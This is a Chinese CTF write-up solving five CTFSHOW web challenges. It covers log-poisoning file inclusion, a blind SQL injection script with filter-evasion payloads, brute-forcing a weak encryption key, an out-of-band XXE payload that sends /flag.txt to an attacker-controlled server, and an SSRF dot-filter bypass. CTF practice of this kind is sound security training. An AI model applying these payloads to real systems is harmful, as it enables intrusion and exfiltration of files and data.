CTFSHOW WEB_AK赛

题目地址http://ctf.show

签到_观己

既然是签到,那我们就去猜一下flag的位置以及文件名
payload:file=/flag.txt
结束
如果猜不到呢?
1、伪协议
尝试用伪协议中的data(具体伪协议的用法可参考https://blog.csdn.net/nzjdsds/article/details/82461043)发现allow_url_include没有开启,还得另寻他法。
2、日志包含
让file=/var/log/nginx/access.log发现可以读取nginx的日志内容,那我们可以试试日志包含写一句话。(其中日志中有客户端访问的地址,以及UA信息)
在这里插入图片描述

接下来抓包修改UA中的内容
在这里插入图片描述
在这里插入图片描述
接着访问
在这里插入图片描述
就能看到 /flag.txt cat打开即可

web2_观星

常规的sql盲注payload大致为
id=1^if(ascii(substr(database(),1,1))=102,2,3)
当ascii(substr(database(),1,1))=102为真时,则id=1^2=3 否则就是id=1^3=2
在本题中 ' , 空格 等号 like ascii被过滤,
所以基于上面的payload模板找到替代品即可
过滤了空格可以用括号代替;过滤了单引号可以用16进制代替;过滤了逗号,对于substr可以用 substr(database() from 1 for 1 )代替substr(database(),1,1),if中有逗号可以用case when代替if;过滤了 ascii可以用ord代替;过滤了等号like可以用regexp代替。
这样上面的常规语句就可以转化为
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
下面给出盲注脚本(写的比较简陋,大家见谅)

#author  羽
import requests
url="http://733ff90c-f8ab-4a3b-af6e-3ebb2f4a7b12.chall.ctf.show/index.php?id=1^"
flag=""
for i in range(1,50):
    print("i="+str(i))
    for j in range(38,126):
        #u="case(ord(substr(database()from({0})for(1))))when({1})then(2)else(3)end".format(i,j)  #库名  web1
        #u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #表名 flag、page、user
        #u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #列名 FLAG_COLUMN、flag
        u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #flag字段
        u=url+u
        r=requests.get(u)
        t=r.text
        if("I asked nothing" in t):
            flag+=chr(j)
            print(flag)
            break

web3_观图

访问源代码看到showImage.php?image=Z6Ilu83MIDw=猜测可能后面是文件名的base64,然后直接访问showImage.php得到源码,发现原来是des加密文件名得到的。
那么目的就很明确了,得到key,就可以直接读去config.php的内容了。
因为php rand()函数产生的数值的范围最大为32768所以爆破具有很高的可行性

/*author 羽 */
<?php
    for($i=0;$i<32768;$i++){
    $key = substr(md5('ctfshow'.$i),3,8);
    $image="Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, 'bf-ecb', $key);
	if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
	print($str." ");
	print($i);
	break;
	}
	}
?>

得到i=27347 那么key我们就得到了,直接加密config.php就行啦

<?php
/*author 羽 */
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo urlencode($str);
//N6bf8Bd8jm0SpmTZGl0isw%3D%3D
?>

最后访问http://0203f7d4-4546-42a7-ae32-313f2ce46adf.chall.ctf.show/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw%3D%3D即可得到一张无法显示的图片,ctrl+s保存后记事本查看即可。

web4_观心

打开network,当点击占卜时发现访问了api.php,并且向api.php中post了两个数据,其中一个为api另一个为city。当然在js文件中也能看到
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
猜测为xxe漏洞,但是我对于xxe不是很了解,去参考了一些大佬们写的文章,大家可以去研究研究。
https://www.freebuf.com/articles/web/177979.html
https://blog.csdn.net/weixin_39194641/article/details/102251374
需要在直接的vps上配置两个文件
一个为 test.xml
在这里插入图片描述

内容为

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [ 

<!ENTITY % remote SYSTEM "http://ip/test.dtd"> 

%remote;%int;%send; ]>

<reset><login>bee</login><secret>Any bugs?</secret></reset>

另一个为test.dtd
在这里插入图片描述
内容为

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
%p2;

然后访问即可得到flag
在这里插入图片描述

web1_观字

没有过滤的话直接url=http://192.168.7.68/flag就可以拿到flag
看到过滤了点(.)首先想到的是ip转10进制将192.168.7.68转换为10进制后为3232237380发现还是有问题,仔细一看竟然过滤了0,好吧。然后经过其他师傅提醒,curl可以用句号()代替点(.)
直接url=http://192。168。7。68/flag就ok啦

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/107706685